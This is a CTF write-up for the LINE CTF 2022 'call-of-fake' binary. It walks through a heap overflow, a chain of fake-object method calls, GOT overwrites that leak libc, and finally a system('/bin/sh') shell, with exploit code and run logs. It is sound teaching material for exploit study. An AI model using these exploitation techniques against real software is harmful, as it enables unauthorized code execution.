LINE CTF 2022 - call-of-fake
Call Call Call!?
nc 34.146.170.115 10001
Environment: Ubuntu20.04 dcfba5b03622f31b1d0673c3f5f14181012b46199abca3ba4af6c1433f03ffd9 /lib/x86_64-linux-gnu/libc-2.31.so
Attachment: call-of-fake.tar.gz xpl.py
Team: Super HexaGoN
Make call of fake!
str: 1
1
str: 2
2
...
str: 8
8
str: 9
9
heap buffer overflow primitive: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
Taking a short glance at the decompiled source of the challenge, I quickly decided that I don’t want to reverse it and just went on with a dynamic approach, which worked out pretty well.
Let’s just see, what crashes the binary.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "34.146.170.115"
PORT = 10001
PROCESS = "./call-of-fake"
def exploit(r):
for i in range(9):
r.sendafter("str: ", "A"*0x20)
r.sendlineafter(": ", cyclic_metasploit(0x400))
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./call-of-fake")
print(util.proc.pidof(r))
pause()
exploit(r)
Program received signal SIGSEGV, Segmentation fault.
0x0000000000402d36 in objectManager::~objectManager() ()
──────────────────────────────────────────────────────────────────────── registers ──────
$rax : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rbx : 0x00007fffffffddc0 → 0x000000000000000c ("
"?)
$rcx : 0x0000000000402658 → <objectString::get()+0> endbr64
$rdx : 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rsp : 0x00007fffffffdd60 → 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rbp : 0x00007fffffffde50 → 0x00007fffffffde70 → 0x00007fffffffe300 → 0x0000000000000000
$rsi : 0xb
$rdi : 0x0000000000419eb8 → 0x000000000041a000 → 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rip : 0x0000000000402d36 → <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
$r8 : 0xfffffffffffffff0
$r9 : 0x20
$r10 : 0x000000000041a490 → "AAAAAAAAAAAAAAAA"
$r11 : 0x000000000041a090 → "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab[...]"
$r12 : 0xc
$r13 : 0x0
$r14 : 0xc
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x402d2a <objectManager::~objectManager()+436> mov rdx, QWORD PTR [rbp-0x70]
0x402d2e <objectManager::~objectManager()+440> mov rdx, QWORD PTR [rax+rdx*8]
0x402d32 <objectManager::~objectManager()+444> mov rax, QWORD PTR [rbp-0x40]
→ 0x402d36 <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
0x402d39 <objectManager::~objectManager()+451> cmp rdx, rax
0x402d3c <objectManager::~objectManager()+454> jne 0x402d44 <_ZN13objectManagerD2Ev+462>
0x402d3e <objectManager::~objectManager()+456> mov BYTE PTR [rbp-0x71], 0x1
0x402d42 <objectManager::~objectManager()+460> jmp 0x402d4b <_ZN13objectManagerD2Ev+469>
0x402d44 <objectManager::~objectManager()+462> add QWORD PTR [rbp-0x70], 0x1
───────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd60│+0x0000: 0x00000000004014f8 → <Object1::fire()+0> endbr64 ← $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8 → <Object1::getNameBuffer()+0> endbr64
0x00007fffffffdd70│+0x0010: 0x0000000000401540 → <Object1::setName(void*,+0> endbr64
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e → <Object1::getTag()+0> endbr64
0x00007fffffffdd80│+0x0020: 0x0000000000401b02 → <Object1::getName()+0> endbr64
0x00007fffffffdd88│+0x0028: 0x0000000000401a64 → <Object1::setTag(unsigned+0> endbr64
Seems it’s calling a dtor on objectManager
and tries to dereference a part of our payload, probably some kind of exit funcs.
Let’s give it a proper address, so that dereferencing it won’t crash it.
payload = p64(0x407200)
payload += cyclic_metasploit(0x400)
r.sendlineafter(": ", payload)
Now, we can see, that the binary will compare the value at the given address with a predefined set of functions and if it’s in that list, it will execute it.
0x402d2a <objectManager::~objectManager()+436> mov rdx, QWORD PTR [rbp-0x70]
●→ 0x402d2e <objectManager::~objectManager()+440> mov rdx, QWORD PTR [rax+rdx*8]
0x402d32 <objectManager::~objectManager()+444> mov rax, QWORD PTR [rbp-0x40]
0x402d36 <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
0x402d39 <objectManager::~objectManager()+451> cmp rdx, rax
0x402d3c <objectManager::~objectManager()+454> jne 0x402d44 <_ZN13objectManagerD2Ev+462>
...
gef➤ telescope $rax
0x00007fffffffdd60│+0x0000: 0x00000000004014f8 → <Object1::fire()+0> endbr64 ← $rax, $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8 → <Object1::getNameBuffer()+0> endbr64
0x00007fffffffdd70│+0x0010: 0x0000000000401540 → <Object1::setName(void*,+0> endbr64
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e → <Object1::getTag()+0> endbr64
0x00007fffffffdd80│+0x0020: 0x0000000000401b02 → <Object1::getName()+0> endbr64
0x00007fffffffdd88│+0x0028: 0x0000000000401a64 → <Object1::setTag(unsigned+0> endbr64
0x00007fffffffdd90│+0x0030: 0x0000000000401a84 → <Object1::addTag(unsigned+0> endbr64
0x00007fffffffdd98│+0x0038: 0x0000000000401ad8 → <Object1::addTwiceTag()+0> endbr64
0x00007fffffffdda0│+0x0040: 0x0000000000402b20 → <objectManager::addStorage(unsigned+0> endbr64
0x00007fffffffdda8│+0x0048: 0x00000000004025b4 → <objectString::set(char*)+0> endbr64
0x00007fffffffddb0│+0x0050: 0x00000000004025ea → <objectString::alloc(char*,+0> endbr64
0x00007fffffffddb8│+0x0058: 0x0000000000402658 → <objectString::get()+0> endbr64
So, by giving references to pointers to those functions, we can chain multiple calls of them (which will have our payload as input object).
def ref(v):
return next(e.search(p64(v)))
def exploit(r):
for i in range(9):
r.sendafter("str: ", "A"*0x20)
FIRE = ref(0x00000000004014f8)
GETNAMEBUFFER = ref(0x00000000004017e8)
SETNAME = ref(0x0000000000401540)
GETTAG = ref(0x0000000000401a4e)
GETNAME = ref(0x0000000000401b02)
SETTAG = ref(0x0000000000401a64)
ADDTWICETAG = ref(0x0000000000401ad8)
ADDSTORAGE = ref(0x0000000000402b20)
SET = ref(0x00000000004025b4)
ALLOC = ref(0x00000000004025ea)
GET = ref(0x0000000000402658)
This narrows the interesting code to look at a bit down.
void* objectString::set(objectString *this, char *arg)
{
return memcpy(*(this + 1), arg, *(this + 2));
}
This looks already interesting, since this
will point to our payload, we would control rdi
and rdx
argument for memcpy
, but arg
would always be 0xb
leading to a crash, when trying to execute memcpy
.
long Object1::addTwiceTag(Object1 *this)
{
return Object1::addTag(this, *(this + 1));
}
Though we’re not really interested in calling addTag
, addTwiceTag
has the side-effect of setting rsi
to this+1
, giving us control over rsi
itself.
We can now chain addTwiceTag
to set rsi
and then call set
to execute a memcpy
with all arguments controlled. But for now, we can only copy existing stuff from a known address to another known address.
Let’s turn this into a more useful primitive, by overwriting memcpy.got
itself with this to read.got
(for which we then would also control all arguments the same way)
# rsi = e.got["read"]
payload = p64(ADDTWICETAG) # call addTwiceTag
payload += p64(e.got["read"]) # rsi
payload += "A"*(0x40-len(payload))
# memcpy(e.got["memcpy"], e.got["read"], 8)
payload += p64(SET) # call set
payload += p64(e.got["memcpy"]) # rdi
payload += p64(8) # rdx
After this, memcpy.got
will point to read
gef➤ x/gx 0x407098
0x407098 <read@got.plt>: 0x00007ffff7cdbff0
gef➤ x/gx 0x407050
0x407050 <memcpy@got.plt>: 0x00007ffff7cdbff0
gef➤ x/i 0x00007ffff7cdbff0
0x7ffff7cdbff0 <__GI___libc_read>: endbr64
We can now do the same again, but this time, it will call read(rdi,rsi,rdx)
instead, giving us the possibility to write arbitrary data somewhere.
Let’s take a look at fire
to get an idea, how we could turn free
into a leak.
void Object1::fire(Object1 *this)
{
*(this + 1) = 0;
obj_string = *(this + 4);
if ( obj_string )
{
objectString::~objectString(*(this + 4));
operator delete(obj_string, 0x18);
}
}
void objectString::~objectString(objectString *this)
{
*this = &off_406D68;
free(*(this + 1));
*(this + 2) = 0;
}
fire
would call ~objectString
, which then will call free
on the second argument in our payload. Since we still have no leak, I used the memcpy-read
to overwrite free.got
with puts
, so we can leak some data by freeing it.
# rsi = e.got["free"]
payload += p64(ADDTWICETAG) # call addTwiceTag
payload += p64(e.got["free"]) # rsi
payload += "C"*(0xe0-len(payload))
# read(0, e.got["free"], 0x20)
payload += p64(SET) # call set
payload += p64(0) # rdi
payload += p64(0x20) # rdx
payload += "F"*(0x140-len(payload))
# free(e.got["free"]+0x10) => puts(e.got["free"]+0x10)
payload += p64(FIRE)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(e.got["free"]+0x10) # object string ptr
payload += "F"*(0x160-len(payload))
...
# send payload for read(0, e.got["free], 0x20)
payload2 = p64(0x0000000000401150) + p64(0x21)
payload2 += p64(0) + p64(e.got["setvbuf"])
r.send(payload2)
That turned out to get a bit tricky and in hindsight it might have been better to search for some other controllable got
than free, since after the dtor of objectString
it will also call delete
on the object, which will ultimately call free
, so we have to make sure, that we serve it a valid chunk, that can be freed.
The payload will first set rsi
accordingly and then call read(0, e.got["free"], 0x20)
via the set
function. We’ll send a second payload then, which will for one overwrite e.got["free]
with e.plt["puts]
and put a 0x20
fake chunk behind it, with its content pointing to e.got["setvbuf]
.
When we now trigger Fire
, this will call ~objectString(e.got["free]+0x10)
, which will then call free([e.got["free"]+0x10+0x8])
, which now boils down to puts(e.got["setvbuf"])
giving us our libc leak finally.
After the leak it will try to delete
the chunk, which will be done nicely, since we also put a fake 0x21
size in that fake object allowing us to continue our call chain.
# read the output of ~objectString leak
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["setvbuf"]
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK : 0x7fea5a4ebd10
[*] LIBC : 0x7fea5a467000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
Looking good and with the leak not crashing in free
we got the hardest part done.
We can now use our read
primitive again, to overwrite free
again, but this time with system
and pass it another chunk, which will point to /bin/sh
. Calling Fire
again should then result in a system("/bin/sh")
call.
# rsi = e.got["free"]
payload += p64(ADDTWICETAG)
payload += p64(e.got["free"]) # rsi
payload += "F"*(0x200-len(payload))
# read(e.got["free"], 0x20) # => payload3
payload += p64(SET)
payload += p64(0)
payload += p64(0x20)
payload += "F"*(0x260-len(payload))
...
# send payload for second free overwrite
payload3 = p64(libc.symbols["system"]) + p64(0x21)
payload3 += p64(next(libc.search("/bin/sh")))
With everything prepared, all that’s left is to trigger fire
one more time.
# free(e.got["free"]+0x10) => system("/bin/sh")
payload += p64(FIRE)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x407090-8) # ptr to /bin/sh at 0x407090
$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK : 0x7f24730e2d10
[*] LIBC : 0x7f247305e000
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cd home
$ cd call-of-fake
$ cat flag
LINECTF{B4By_C0unterfeitO0P!}